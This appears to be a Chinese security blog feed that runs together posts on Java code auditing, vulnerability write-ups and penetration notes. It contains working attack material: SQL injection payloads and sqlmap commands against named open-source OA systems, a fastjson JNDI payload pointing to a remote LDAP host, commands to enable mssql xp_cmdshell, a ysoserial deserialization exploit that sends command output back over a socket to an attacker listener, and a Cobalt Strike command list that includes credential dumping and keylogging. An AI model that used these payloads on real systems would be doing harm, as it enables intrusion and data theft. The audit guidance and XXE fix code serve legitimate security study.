fastjson是根据json内容转为对应的javabean，即fastjson会取得json中的类及类的参数进行反序列化，由于json可控，攻击者可以自定义类及类的参数，所以fastjson在获取攻击者传入的对象的set、get方法时会根据攻击者传入的json来进行设定set方法的值，最后在反序列化时触发漏洞。拿jndi注入来说，攻击者传入json内容{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.83.11:1389/o=tomcat","autoCommit":true}，fastjson首先会取得JdbcRowSetImpl类，在取JdbcRowSetImpl类的所有set、get方法时会将数据源ldap://192.168.83.11:1389/o=tomcat当作setDataSourceName的值来设定，最后在还原成JdbcRowSetImpl时就会去加载该数据源从而加载远程恶意类达到攻击目的。

参考

]]> 代码审计代码审计 fastjson反序列化 .getBean("") .callMethod("")的思路 /2021/01/12/47/

1 2	`CallMethodService service = ContextUtil.getBean("aiasset-obsoleteservice"); JSONObject json = service.callMethod("exportObsoleteResmDetail", pagequery) ;`

相当于

1 2	`Obsoleteservice service = new Obsoleteservice(); JSONObject json = service.exportObsoleteResmDetail(pagequery);`

再碰到此类问题的时候就跟进obsoleteservice类的exportObsoleteResmDetail方法，往下就是跟springMVC的跟进思路相同

为什么要这样写不直接new呢，问了一下同事说是因为直接new的话只能调用当前模块的类，而第一个写法可以跨模块获取

]]> 代码审计 java审计审计思路 java代码审计关键字讲解 /2020/12/24/46/ fastjson反序列化

1
2
3

json.parseObject
JSONObject.parseObject
@RequestBody

其他反序列化

request.getinputstream
ObjectInputStream
.readObject()
deserialize
Serialize
@RequestBody
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue

文件上传

/upload
/file
/save
/add

命令执行

Runtime.getRuntime().exec
case shell
ShellProcessor
processor

SQL注入

order by
= '"+
query（queryList）
like "%
.call
${

文件下载

/down
/file
/export
/file

越权（信息泄露）

直接看业务逻辑，看有无对登陆/权限的校验

目录遍历/ssrf

1
2
3

"url"
filepath
fileurlpath

文件包含（jsp文件）

include

XXE

1 2	`parseX parseT`

引用的接口：

javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLInputFactoryr
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader 
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource 
javax.xml.transform.TransformerFactory 
javax.xml.transform.sax.SAXTransformerFactory 
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression

修复写法：

`javax.xml.parsers.DocumentBuilder`

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setAttribute("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setAttribute("http://xml.org/sax/features/external-general-entities", false);
dbf.setAttribute("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setAttribute("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setAttribute(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();

`javax.xml.stream.XMLInputFactory`

XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
XMLStreamReader reader = xif.createXMLStreamReader(new FileInputStream(new File(path)));
org.jdom.input.SAXBuilder
SAXBuilder saxBuilder = new SAXBuilder();
saxBuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxBuilder.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxBuilder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
org.jdom2.Document build = saxBuilder.build(new File(path));

`javax.xml.parsers.SAXParser`

SAXParserFactory spf =SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser =spf.newSAXParser();
MyDefaultHandler myHandler = new MyDefaultHandler();

`org.xml.sax.XMLReader`

FileReader  fileReader = new FileReader(path);
XMLReader parser = XMLReaderFactory.createXMLReader();
parser.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
parser.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
parser.setFeature("http://xml.org/sax/features/external-general-entities", false);
parser.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

xml反序列化写法

public void XMLDecoder(String path) {
try {
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xd = new XMLDecoder(bis);
xd.readObject();
xd.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}
}

业务逻辑漏洞

走if的时候根据判断status是否等于true来进行流程，比如status/resultCode==0时允许进行下一步
示例：

// 0：成功 1：失败
        if ("0".equals(resultCode)) {

}

密码硬编码

1	`password`

springmvc业务逻辑

1	`*Controller.java`

tapestry框架业务逻辑

1	`extends BusiPage`

实现

1	`implemtns`

CORS

1	`CrossOrigin`

配置文件

1	`.application`

接口

1	`interface`

]]> 代码审计 java审计审计思路 2020年代码审计总结 /2020/12/24/45/ 1.前言

要熟悉java语法，知道啥是类，啥是方法，啥是接口，啥是常量巴拉巴拉巴拉

2.确定框架

在打开源码时先判断系统框架，例如一个struts2项目中web.xml文件存在Filter-class为:
org.apache.struts2.dispatcher.xxxx

以及resources目录（或src（root）目录下）中存在strtus.xml

如果存在pom那pom.xml中存在struts依赖信息

而springmvc的特征则是在pom.xml中会存在相关依赖

web.xml中存在关于DispatcherServlet的注册配置

3.审计思路

3.1.Struts2

3.1.1.过滤器及映射配置

3.1.1.1.Web.xml

查看web.xml中<filter-mapping>的<url-pattern>来确定拦截规则，当是.action时所有以.action为结尾的请求都会被struts处理拦截，/test/.action则只有test目录下的请求会被拦截。

3.1.1.2.struts.xml

通过struts.xml文件,查看存在哪些action,以及处理具体请求的java文件路径
例如:

1	`<action name="test" method="test" class="novy.action.LoginAction"/>`

表示novy.action.LoginAction类中的test方法,处理http://127.0.0.1/test.action的请求。而在另一种的写法中

<action name="GoLogin" class="com.action.GoLogin">
<result name="input">/Login.jsp</result>
<result name="success">/Index.jsp</result>
</action>

表示GoLogin类处理http://127.0.0.1/login.jsp和index.jsp请求

还有一种动态方法调用方式请看https://www.cnblogs.com/zhangzhenzhen/p/5959555.html

在审计漏洞之前，我们需要了解一下web各层流程

3.1.2.层次介绍

通常在struts2中
action为业务逻辑处理层，action层接收来自视图层（.jsp（可以理解为前端吧，就是用户看到操作的那层））的请求，并接收请求参数，同时负责调用模型Model层方法来完成业务逻辑的处理，最后控制程序的流程，选择一个合适的视图，将结果显示给用户，一般这个目录下文件的特征表现为xxxxaction.java，比如NovyAction.java；

dao为数据持久层，在这层中通常是用来做数据库请求处理的，增删查改都在这里，一般这个目录下文件的特征表现为xxxxDao.java，比如NovyDao.java。

在web运行处理请求时流程为业务逻辑处理层-数据持久层

3.1.3.实例

Idea打开项目，查看目录结构

从目录得知该框架为struts，web运行处理流程为action->dao，bean是实体处理，db是数据库连接配置，两者不在流程之中。
根据之前**3.1.1.**介绍，我们首先看web.xml文件，查看拦截配置
所有.action的请求会被struts2处理，具体实现为StrustPrepareAndExecuteFilter类

查看struts.xml中映射配置

根据配置我们知道login.jsp请求由GoLogin类处理，所以我们可以根据路径跟进GoLogin类，其路径组成对应为
src（root）/com/action/GoLogin.java

3.1.3.1.代码分析

在GoLogin类中我们就可以看到一些对登陆的处理，如果我们找登陆处的SQL注入的话就看处理登陆参数的相关方法，比如此处new了一个AdminDao类下的checkLogin方法来处理username及Password，再根据判断返回的结果是否为空来显示相应内容

根据3.1.2介绍我们知道AdminDao为数据持久层，那么ChekLogin方法通常就是对登陆做数据库操作的地方，所以我们跟进一下该方法

在此处因为直接拼接请求参数，然后带入数据库去执行查询导致了SQL注入漏洞的产生

3.1.3.2.漏洞验证

根据前面3.1.1.2介绍我们知道其请求路由为login.jsp
根据漏洞位置我们模拟其sql语句为

1	`select * from Admin where Admin_Username='username' and Admin_Password='password'`

所以登陆时我们可以使用万能用户名来进行登陆绕过
Admin’or”=”or--+

3.2.SpringMVC

3.2.1.配置及依赖

3.2.1.1.Web.xml

通过web.xml中DispatcherServlet配置,来查看springMVC作用范围

通过servlet中contextConfigLocation配置,查看springMVC配置文件所在路径

3.2.1.2.Springmvc.xml

在springMVC配置文件中,component-scan是用来查找Controller类所在位置，org.springframework.web.servlet.view.InternalResourceViewResolver为自定义视图解析器

3.2.1.3.pom.xml

它是Maven项目中的文件，使用XML表示，也可以由此判断该项目是否为maven项目，该配置文件通常用来声明项目信息、环境的配置、引用组件依赖等等

还是老规矩，在审计漏洞之前，我们先看下spring的请求处理流程

3.2.2.层次介绍

通常在springmvc中
controller为控制层（业务逻辑），用来接收客户端的请求，然后调用Service层业务逻辑，获取到数据，传递数据给视图层（客户端）用于视觉呈现，一般请求的url在这里，比如

1 2	`@Controller @RequestMapping(value = "/novy")`

则请求url为http://localhost/novy
控制层的文件一般为xxxcontroller.java，比如NovyController.java

Service是业务层，接收Controller层数据，与DAO/Mapper层交互，处理业务逻辑，生成responseDTO数据并返回Controller层 ,该层文件一般为xxxServce.java，比如NovyService.java，此处是接口定义，就是定义一些方法，没有这些方法的实现，但是有时候数据操作会在这里发生（看开发）

Implements是服务实现层（接口实现），用来处理一些方法的实现（这个方法干了啥干了啥），该层文件一般为xxxImpl.java，比如NovyImpl.java，impl 是把mapper和service进行整合的文件，有时候一些sql操作也会发生在这里

Mapper是数据持久层，对数据库进行数据持久化操作，他的方法语句是直接针对数据库操作的，数据持久层文件通常都是xxxMapper.xml，比如NovyMapper.xml

Dao是数据接口层，一些数据请求（接口）会在这里发生（一般用于内部实现）

Entity是实体处理层，用于存放我们的实体类，与数据库中的属性值基本保持一致（定义前端传来的请求参数）

在web运行时处理请求的流程为Controller->Service->impl->mapper

3.2.3.实例

这里以含有漏洞的springboot项目做案例（springboot和springmvc配置不一样，感兴趣的自行百度，但是请求处理流程一样，这里讲的又不是开发，不影响演示），Idea打开项目，等待依赖导入完成

发生报错的就自己下载相关组件导入
查看目录结构

按照3.2.2介绍得知流程为controller->services->mapper，按照3.2.2对pom的介绍，我们先看pom.xml引用了哪些组件，以此来找出包含漏洞版本的组件，然后再看controller及其他，可以在idea中利用file mask来查看所有controller或全局搜索@Controller

3.2.3.1.代码分析

首先查看引用的组件
pom.xml

看到了两个存在漏洞的组件，拿fastjson反序列化来说，全局搜索json.parseObject或JSONObject.parseObject或@RequestBody来查找参数可控的地方

在此处中用@RequestBody注解来获取整个请求体，然后对请求体进行反序列化

按照上面介绍到的搜索并点进一个controller，从3.2.2对controller介绍得知此处请求url为/informlistpaging

在此处我们可以看到informListPaging方法定义了很多参数，拿basekey做例子，在该刚方法中被定义为字符串请求参数，按照3.1.3.1的思路，我们想要找注入就找到调用方法处理该参数的地方

在80行中，nm的sortMyNotice方法对几个参数进行处理，这里需要注意的是，nm并不是一个类，而是一个被定义的接口，所以我们需要注意nm在哪里被定义了

跟进NoticeMapper

此处为接口，为nm提供了sortMyNotice方法，但这里还不是数据库操作的地方，因为controller无法直接调用mapper.xml的方法（select id），所以就需要这个mapper.java来做一个接口中转，所以我们根据3.2.2介绍，转到mapper.xml层
全局搜索sortMyNotice方法

转到notice-mapper.xml

此处的select id即为调用到的方法，往下为sql语句，我们可以看到在like后面直接用%${}%进行模糊查询，导致了漏洞的产生
有人会问service层呢？在这里

imformRelationService的setList方法对mapper处理返回的数据进行封装处理后返回到controller，然后controller返回到视图层，流程结束

3.2.3.2.漏洞验证

在3.2.2对controller的介绍中得知，根据controller构造url：
http://localhost/informlistpaging?baseKey=

3.3.ps：其他情况

3.3.1.Sql操作在service层

有时候sql查询会直接发生在service层，比如
某个项目中的某个方法有个查询，定义了一个字符串参数defkey

查看wfservice在哪里被定义

跟进WorkFlowService，在该service层中搜索前面调用到的getHavedonePage方法，在该方法中含有一条没有进行预编译的sql查询，此处直接进行带入到数据库查询导致了漏洞的产生

3.3.2.跟到接口断了

当跟进方法时跟到接口断了怎么办，比如出现这种情况
controller里有一个密码重置

跟进updatePassword方法

到这里之后只看到提供给userService的updatePassword方法，没有看到具体的实现，
不要慌，根据3.2.2对implements的介绍，我们还有个impl没有看，全局搜索implements UserService

就可以看到对接口UserService的updatePassword方法的实现

这时候再继续往下跟就可以了，流程一样

4.小技巧

4.1.命名

无论是struts还是springmvc/boot，按照我的理解，为了方便区分和后续其他开发，除非另类命名（比如3.1.3），在整个请求处理流程中对于类名的前置命名都是一致的，比如
NovyController->NovyService->(NovyServiceImpl->)NovyMapper.xml
而不会出现
NovyController->TestService->(WhyServiceImpl->)OasdMapper.xml
这种情况，所以在审计过程中跟进代码时利用idea的全局搜索能更好的提高审计效率

4.2.方法的跟进

通常调用方法时都是类名.方法名，或者写了一个EntityManager接口，然后再定义一次:
private EntityManager em;
这样em就可以用到EntityManager里的方法
比如某个项目有一个序列化工具类SerializeUtil，在该类里有一个deserialize方法来反序列化接收的request数据

而在controller中定义了一个接口
private SerializeUtil fvlh;
然后在某个@PostMapping注解下的方法进行调用
fvlh.deserialize(request);
如果我们想找反序列化漏洞就在跟进时可以直接ctrl+左键（idea）来跟进deserialize方法查看具体实现，或者先查看哪里定义了fvlh，然后再根据接口去跟进deserialize方法进行漏洞跟踪,最后确定该漏洞是否利用

5.其他

还有tapestry框架，这个我在公司项目中审的，开源没碰见过，所以不好解释，等哪天碰到了再另说。总的来说跟进思路就这样，其他漏洞同理。感谢shxjia对相关专业知识的解答，感谢白帽100少先队的技术分享

文档下载地址（文档比较老，本文章对比文档有改动）

]]> 代码审计 java审计审计思路 oasys SQL注入 /2020/12/15/44/ https://gitee.com/aaluoxiang/oa_system

代码分析

1	`src/main/java/cn/gson/oasys/controller/inform/InformController.java 68行`

有一个informlistpaging方法

在该方法中定义了一个字符串请求参数basekey，用list集合接收了sortMyNotice方法处理basekey等参数的结果，跟进查看哪里定义了nm

跟进NoticeMapper

1	`src/main/java/cn/gson/oasys/mappers/NoticeMapper.java`

转到mapper层

1	`src/main/resources/mappers/notice-mapper.xml`

在此数据持久层搜索调用到的selectid

在like后面直接用${%%}进行模糊查询，导致了漏洞的产生

漏洞验证
根据controller的路由构造url：

1	`http://localhost/informlistpaging?baseKey=`

1 2	`sqlmap.py -r D:\test.txt sqlmap.py -r D:\test.txt --random-agent --dbs --current-db`

]]> 代码审计 SQL注入 oasys漏洞 JFinalOA SQL注入 /2020/12/14/43/ https://gitee.com/glorylion/JFinalOA

代码分析

1	`src/main/java/com/pointlion/mvc/admin/oa/workflow/flowtask/FlowTaskController.java 123行`

定义字符串请求参数defkey

随后调用getHavedonePage方法把前端传来的参数进行处理，结果封装到Page<Record>，查看wfservice是从哪里定义的接口

跟进WorkFlowService，在该service层中搜索前面调用到的getHavedonePage方法，在该方法中含有一条没有进行预编译sql查询，此处直接进行数据查询导致了漏洞的产生

漏洞验证

路由配置文件路径

1	`src/main/java/com/pointlion/config/routes/OARoutes.java`

在前面FlowTaskController的getHaveDoneTaskDataList方法中含有一个越权漏洞，此处只获取了登陆状态，没有对用户鉴权

获取登陆用户信息封装到cookie里

所以这个注入只需要普通用户就可以利用，这里创建一个test用户

根据该框架路由配置结合controller的方法构造url

1	`/admin/oa/workflow/flowtask/getHaveDoneTaskDataList?pageNumber=&pageSize=&defkey=`

注入payload

1	`1' UNION SELECT 1,2,3 --+`

语句报错，丢sqlmap注入

1	`sqlmap.py -r D:\test.txt --random-agent`

跑库

1	`sqlmap.py -r D:\test.txt --random-agent --dbs --current-db`

]]> 代码审计 SQL注入 Jfinal漏洞某Struts框架平台sql注入记录 /2020/12/04/42/ 代码分析

1	`\src\com\asiainfo\newBam\action\systemmanage\UserManagerAction.java 35行`

在searchUserByLoginName方法中定义了字符串参数loginName，然后转到userService的searchUserByLoginName方法处理loginName

跟进userService

定义接口，继续跟进IUserManagerService

1	`\src\com\asiainfo\newBam\service\sysManager\IUserManagerService.java`

还是接口定义，在该接口里没有对searchUserByLoginName方法做具体实现，全局搜索implements IUserManagerService查看其实现类

1	`\src\com\asiainfo\newBam\service\sysManager\impl\UserManagerServiceImpl.java`

查看searchUserByLoginName方法

跟进查看userDao

全局搜索implements IUserManagerDAO

1	`\src\com\asiainfo\newBam\dao\sysManager\impl\UserManagerDAOImpl.java`

查看searchUserByLoginName方法

参数拼接，然后把sql语句直接带入数据库查询,注入产生

]]> 代码审计 Java代码审计 SQL注入 jeecg boot快速开发平台2.4SQL注入 /2020/12/03/41/ https://github.com/zhangdaiscott/jeecg-boot

代码分析

1	`src/main/java/org/jeecg/modules/api/controller/SystemAPIController.java 167行`

根据注释发现这里是一处查询，且table、text、code参数可控，这里把table、text、code传入queryTableDictItemsByCode进行进一步的参数处理

跟进看看哪里定义了sysBaseAPI

接口定义，继续跟进ISysBaseAPI

1	`src/main/java/org/jeecg/common/system/api/ISysBaseAPI.java`

这里为接口，往下看queryTableDictItemsByCode方法为空实现，所以全局搜索implements ISysBaseAPI查看其实现类

1	`src/main/java/org/jeecg/modules/system/service/impl/SysBaseApiImpl.java`

在此处搜索刚刚SystemAPIController调用到的里的queryTableDictItemsByCode方法，也就是这里

搜索结果

寻找参数是否包含有#{，然后转到getSqlRuleValue处理table

此处不算针对注入做的安全措施，所以回到SysBaseApiImpl里继续跟进查看哪里定义了sysDictService

跟进ISysDictService

1	`src/main/java/org/jeecg/modules/system/service/ISysDictService.java`

是一个接口

全局搜索implements ISysDictService查看其实现类

1	`src/main/java/org/jeecg/modules/system/service/impl/SysDictServiceImpl.java`

在该实现类里搜索SysBaseApiImpl调用的queryTableDictItemsByCode方法，也就是这里

搜索结果

在这里把前台的table，text，code参数传入mapper进行数据查询，跟进sysDictMapper.xml

1	`src/main/java/org/jeecg/modules/system/mapper/xml/SysDictMapper.xml`

搜索queryTableDictItemsByCode，发现传入的参数使用了${}直接进行查询，导致了注入的产生

漏洞验证：

根据controller的路由构造url为

1	`http://localhost/sys/api/queryTableDictItemsByCode?table= &text= &code=`

根据mysql的特征查系统默认数据库

1	`http://localhost/sys/api/queryTableDictItemsByCode?table=mysql.user&text=User&code=password`

]]> 代码审计 Java代码审计 SQL注入 MTV-漏洞复现/验证专用框架 /2020/12/02/38/ 环境准备

推荐使用jdk<=1.8.0_181

运行

启动框架查看效果

测试fastjson反序列化漏洞

可以自定义添加其他漏洞环境
项目地址：https://github.com/novysodope/mytestvul

]]> 代码审计 Java mblog4.0存储型XSS+权限绕过 /2020/11/20/36/ mblog4.0：下载地址

存储型XSS

不分析了

shiro权限绕过

引用了1.4.0版本的shiro

在该版本的shiro中有一个权限绕过的漏洞，查看过滤配置

1	`src/main/java/com/mtons/mblog/config/ShiroConfiguration.java`

根据过滤规则进行绕过即可，比如密码重置，正常没登陆访问是这样的：

在/pwd后加一个/即可绕过进行未授权密码重置

]]> 代码审计 shiro权限绕过存储型XSS 手工提权-mssql启用cmdshell /2020/10/28/32/

exec sp_configure 'show advanced options',1  //启用高级选项，0为关闭
RECONFIGURE  //根据回显提示重新启动一下
exec sp_configure 'xp_cmdshell',1  //启用cmdshell，0为关闭
RECONFIGURE //根据回显提示重新启动一下
exec xp_cmdshell 'cmd命令'

]]> 渗透实战提权反序列化-在利用链里利用socket进行shell回显 /2020/10/20/33/ 以Jdk7u21为例
首先看jdk7u21类的getObject方法

在getObject方法里定义了一个command，这个command就是poc里的恶意对象，此处用Gadgets类的createTemplatesImpl方法处理获取到的command，跟进createTemplatesImpl

处理返回createTemplatesImpl，跟进

此处就是获取恶意对象进行具体处理的地方，我们把原来的string cmd注释掉，重新写一个socket的客户端，利用发送到目标触发反序列化漏洞来进行socket连接

java.net.Socket socket=new java.net.Socket("127.0.0.1",9999);
java.io.OutputStream outputStream = socket.getOutputStream();
Process whoami = Runtime.getRuntime().exec("+command+");  //直接写死命令也行
java.io.InputStream inputStream = whoami.getInputStream();
int len;
byte[] buf=new byte[1024];
java.io.ByteArrayOutputStream baos=new java.io.ByteArrayOutputStream();
while((len=inputStream.read(buf))!=-1){
    baos.write(buf,0,len);
}
inputStream.close();
byte[] bytes = baos.toByteArray();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();

再新建一个socket服务端serverexp.java

package ysoserial;


import com.sun.security.ntlm.Server;


import java.net.*;
import java.io.*;


public class serverexp extends Thread
{
    private ServerSocket serverSocket;


    public serverexp(int port) throws IOException
    {
        serverSocket = new ServerSocket(port);
        serverSocket.setSoTimeout(10000);
    }


    public void run()
    {
        while(true)
        {
            try
            {
                System.out.println("等待远程连接，端口号为：" + serverSocket.getLocalPort() + "...");
                Socket server = serverSocket.accept();
                System.out.println("远程主机地址：" + server.getRemoteSocketAddress());
                //DataInputStream in = new DataInputStream(server.getInputStream());
                InputStream inputStream = server.getInputStream();
                // System.out.println(in.readUTF());
                int len;
                byte[] buf=new byte[1024];
                java.io.ByteArrayOutputStream baos=new java.io.ByteArrayOutputStream();
                while((len=inputStream.read(buf))!=-1){
                    baos.write(buf,0,len);
                }
                byte[] bytes = baos.toByteArray();
                System.out.println(new String(bytes));
                DataOutputStream out = new DataOutputStream(server.getOutputStream());
                out.flush();
                //out.writeUTF("谢谢连接我：" + server.getLocalSocketAddress() + "\nGoodbye!");
                server.close();
            }catch(SocketTimeoutException s)
            {
                System.out.println("Socket timed out!");
                break;
            }catch(IOException e)
            {
                e.printStackTrace();
                break;
            }
        }
    }
    public static void main(String [] args)
    {
        int port = 9999;
        try
        {
            Thread t = new serverexp(port);
            t.run();
        }catch(IOException e)
        {
            e.printStackTrace();
        }
    }
}

目标机起一个含有反序列化漏洞的服务，
写一个正常的POC

package ysoserial;

import ysoserial.payloads.Jdk7u21;

import java.io.ObjectOutputStream;
import java.net.Socket;


public class exptest {
    public static void main(String[] args) throws Exception {
        Jdk7u21 payloadtest = new Jdk7u21();  //调用jdk利用链
        Object vultest = payloadtest.getObject("ipconfig");  //恶意对象
        Socket socket = new Socket("192.168.83.166",port);  //建立连接
        ObjectOutputStream oss = new ObjectOutputStream(socket.getOutputStream());  //获取输出流
        oss.writeObject(vultest);  //触发恶意对象
        //System.out.print(vultest);
        oss.flush();
        oss.close();
    }
}

然后攻击机运行POC即可看到回显

]]> 代码审计 shell回显 JAVA反序列化 burpsuite高亮插件 /2020/09/11/30/ 插件为python环境开发
自定义信息单独泄露和组合泄露高亮颜色

当发生信息泄露以外的情况时标其他颜色，比如脚本攻击：

自定义正则：

示例：
使用插件后访问写好的目标，点击HTTP history就可以看到高亮请求，点进请求后会有个Keyword栏标出相应信息
效果图

用法：

1	`burpsuite - Extender - Add`

ps：目前因为不懂正则的原因未完成userpss及orderid，ip（内网）正则有缺陷，xss正则待完善
可以自定义其他漏洞挖掘功能，只需要一点点的python基础

CODE

# -*- coding:utf-8 -*-
# Improve: by novy

import time
import json
import re

from burp import IBurpExtender
from burp import IHttpListener
from burp import IMessageEditorTab
from burp import IMessageEditorTabFactory

from java.io import PrintWriter

class BurpExtender(IBurpExtender, IHttpListener, IMessageEditorTabFactory):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Spartan - Wheel king")
        self._stdout = PrintWriter(callbacks.getStdout(), True)
        callbacks.registerHttpListener(self)
        callbacks.registerMessageEditorTabFactory(self)
        print '''
        [+] #####################################
        [+] chao bie ren de
        [+] Improve: novy
        [+] novy.baklib.com
        Readme:
        [+] Leakage of regular information such as order number, mobile phone number, account password, ID card, etc.
        [+] Yellow represents a single information leak, red represents multiple information leaks
        [+] Please add more functions by yourself, support unlimited customization
        [+] Not just for mining information leakage.You can create your own plug-in with just a little knowledge of python
        [+] #####################################
        '''

    def createNewInstance(self, controller, editable):
        return MarkINFOTab(self, controller, editable)

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if messageIsRequest:
            return
        content = messageInfo.getResponse()
        r = self._helpers.analyzeResponse(content)
        msg = content[r.getBodyOffset():].tostring()

        if isPhone(msg) or isIdCard(msg) or isEmail(msg) or ossinfo(msg) or ipaddress(msg) or userpass(msg) or orderid(msg):
            messageInfo.setHighlight('yellow')

        if (isPhone(msg) and isIdCard(msg)) or (isPhone(msg) and isEmail(msg)) or (isIdCard(msg) and isEmail(msg)) or (ipaddress(msg) and userpass(msg)) or (ossinfo(msg) and ipaddress(msg)) or (isEmail(msg) and ossinfo(msg)) or (userpass(msg) and orderid(msg)):
            messageInfo.setHighlight('red')

      #  if xsspayload(msg):
       #  messageInfo.setHighlight('blue')

class MarkINFOTab(IMessageEditorTab):
    def __init__(self, extender, controller, editable):
        self._extender = extender
        self._helpers = extender._helpers
        self._editable = editable
        self._txtInput = extender._callbacks.createTextEditor()
        self._txtInput.setEditable(editable)
        self.isInfo = False

    def getTabCaption(self):
        return "Keyword"

    def getUiComponent(self):
        return self._txtInput.getComponent()

    def isEnabled(self, content, isRequest):
        r = self._helpers.analyzeResponse(content)
        msg = content[r.getBodyOffset():].tostring()
        iphone = isPhone(msg)
        email = isEmail(msg)
        idcard = isIdCard(msg)
        oss = ossinfo(msg)
        address = ipaddress(msg)
        userp = userpass(msg)
        order = orderid(msg)
      #  payload = xsspayload(msg)
        if not isRequest:
            if iphone or email or idcard or oss or address or userp or order:
                return True

    def setMessage(self, content, isRequest):
        if content:
            if isRequest:
                r = self._helpers.analyzeRequest(content)
            else:
                r = self._helpers.analyzeResponse(content)
            msg = content[r.getBodyOffset():].tostring()
            info = ""
            iphone = isPhone(msg)
            email = isEmail(msg)
            idcard = isIdCard(msg)
            oss = ossinfo(msg)
            address = ipaddress(msg)
            userp = userpass(msg)
            order = orderid(msg)
         #   payload = xsspayload(msg)
            if iphone:
                info += '[Phone] ' + ','.join(iphone) + '\n'

            if email:
                info += '[Mail] ' + ','.join(email) + '\n'

            if idcard:
                info += '[IDCard] ' + ','.join(idcard) + '\n'

            if oss:
                info += '[Oss] ' + ','.join(oss) + '\n'

            if address:
                info += '[Address] ' + ','.join(address) + '\n'

            if userp:
                info += '[Userp] ' + ','.join(userp) + '\n'

            if order:
                info += '[Order] ' + ','.join(order) + '\n'

      #      if payload:
            #    info += '[Payload] ' + ','.join(payload) + '\n'

            self._txtInput.setText(info)
        else:
            return False

def isPhone(string):
    iphones = re.findall(r'((13[0-9]|14[5-9]|15[012356789]|166|17[0-8]|18[0-9]|19[8-9])[0-9]{8})', string)
    res = []
    if iphones != []:
        for i in iphones:
            lens = string.find(i[0])
            if (string[lens-1:lens].isdigit()) or (string[lens+11:lens+12].isdigit()):
                pass
            else:
                res.append(i[0])
        if res != []:
            return res
        else:
            return False
    else:
        return False

def isIdCard(string):
    coefficient = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    parityBit = '10X98765432'
    idcards = re.findall(r'([1-9]\d{5}[1-9]\d{3}((0\d)|(1[0-2]))(([0|1|2]\d)|3[0-1])((\d{4})|\d{3}[xX]))', string)
    res = []
    if idcards != []:
        for idcard in idcards:
            sumnumber = 0
            for i in range(17):
                sumnumber += int(idcard[0][i]) * coefficient[i]
            if parityBit[sumnumber % 11] == idcard[0][-1]:
                res.append(idcard[0])
        if res != []:
            return res
        else:
            return False
    else:
        return False

def isEmail(string):
    emails = re.findall(r'[a-z0-9A-Z_]{1,19}@[0-9a-zA-Z]{1,13}\.[a-z]{1,6}', string)
    if emails != ['']:
        return emails
    else:
        return False

def ossinfo(string):
    ossinfom = re.findall(r'([A|a]ccess[K|k]ey[I|i]d|[A|a]ccess[K|k]ey[S|s]ecret)', string)
    if ossinfom != ['']:
        return ossinfom
    else:
        return False

def ipaddress(string):
    addressip = re.findall(r'(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:172\.(?:(?:1[6-9])|(?:2\d)|(?:3[01]))\.\d{1,3}\.\d{1,3})|(?:192\.168\.\d{1,3}\.\d{1,3})', string)
    if addressip != ['']:
        return addressip
    else:
        return False

def userpass(string):
    passuser = re.findall(r'(i?)\S.*[user]', string)
    if passuser != ['']:
        return passuser
    else:
        return False

def orderid(string):
    orid = re.findall(r'(^\d{8,18}$)', string)
    if orid != ['']:
        return orid
    else:
        return False

#def xsspayload(string):
 #   xss = re.findall(r'', string)
 #   if xss != ['']:
  #      return xss
 #   else:
  #      return False

]]> 插件 Cobalt Strike常用命令 /2020/09/10/20/

browserpivot              注入受害者浏览器进程
    bypassuac                 绕过UAC
    cancel                    取消正在进行的下载
    cd                        切换目录
    checkin                   强制让被控端回连一次
    clear                     清除beacon内部的任务队列
    connect                   Connect to a Beacon peerover TCP
    covertvpn                 部署Covert VPN客户端
    cp                        复制文件
    dcsync                    从DC中提取密码哈希
    desktop                   远程VNC
    dllinject                 反射DLL注入进程
    dllload                   使用LoadLibrary将DLL加载到进程中
    download                  下载文件
    downloads                 列出正在进行的文件下载
    drives                    列出目标盘符
    elevate                   尝试提权
   execute                   在目标上执行程序(无输出)
    execute-assembly          在目标上内存中执行本地.NET程序
    exit                      退出beacon
    getprivs                  Enable system privileges oncurrent token
    getsystem                 尝试获取SYSTEM权限
    getuid                    获取用户ID
    hashdump                  转储密码哈希值
    help                      帮助
    inject                    在特定进程中生成会话
    jobkill                   杀死一个后台任务
    jobs                      列出后台任务
    kerberos_ccache_use       从ccache文件中导入票据应用于此会话
    kerberos_ticket_purge     清除当前会话的票据
    kerberos_ticket_use       从ticket文件中导入票据应用于此会话
    keylogger                 键盘记录
    kill                      结束进程
    link                      Connect to a Beacon peerover a named pipe
    logonpasswords            使用mimikatz转储凭据和哈希值
    ls                        列出文件
    make_token                创建令牌以传递凭据
